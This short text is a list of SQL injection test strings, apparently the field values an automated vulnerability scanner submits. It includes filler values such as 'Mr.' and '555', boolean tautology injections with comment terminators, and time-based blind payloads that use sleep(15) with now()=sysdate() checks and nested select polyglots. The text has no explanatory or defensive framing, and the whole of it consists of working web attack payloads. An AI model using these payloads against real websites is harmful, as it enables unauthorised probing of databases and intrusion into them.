Mr.

-1 OR 2+557-557-1=0+0+0+1

-1' OR 2+575-575-1=0+0+0+1 --

-1' OR 2+271-271-1=0+0+0+1 or 'xc89tRbc'='

-1" OR 2+608-608-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

555

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

555

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/